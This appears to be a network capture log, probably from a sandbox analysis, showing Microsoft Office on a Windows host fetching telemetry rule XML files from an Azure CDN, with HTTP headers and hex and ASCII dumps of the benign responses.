2024-11-21 21:04:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210429Z-178bfbc474bw8bwphC1NYC38b400000001s000000000wchd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 361c5568-301e-005d-3fb2-3be448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210430Z-r1d97b99577ckpmjhC1TEBrzs00000000b00000000006tv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:31 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:32 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210432Z-1777c6cb754lv4cqhC1TEB13us0000000bkg00000000p9xr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:32 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 334ee23b-a01e-006f-30aa-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210432Z-r1d97b99577dd2gchC1TEBz5ys0000000asg000000009f9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 74046e45-401e-000a-0635-3c4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210432Z-178bfbc474bw8bwphC1NYC38b400000001w000000000cugb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:31 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210432Z-178bfbc474bq2pr7hC1NYCkfgg000000023g00000000q2tf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:32 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:32 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 79f6ed77-701e-0021-554e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210432Z-15b8b599d88m7pn7hC1TEB4axw00000000f0000000005b6u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:32 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:34 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:34 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210434Z-1777c6cb754vxwc9hC1TEBykgw0000000bk000000000sntd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:34 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:34 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:34 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: b7a4c0f2-401e-0064-554c-3c54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210434Z-15b8b599d8885prmhC1TEBsnkw00000000p0000000006urs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:34 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:34 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210434Z-1777c6cb7544nvmshC1TEBf7qc0000000bbg00000000yqfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:34 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:34 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 792329fd-401e-0035-1f6c-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210434Z-178bfbc474bwlrhlhC1NYCy3kg00000001yg00000000utfa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:34 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:34 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210434Z-174c587ffdf4zw2thC1TEBu34000000000f0000000008re5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:34 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49746	142.250.181.100	443	6804	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
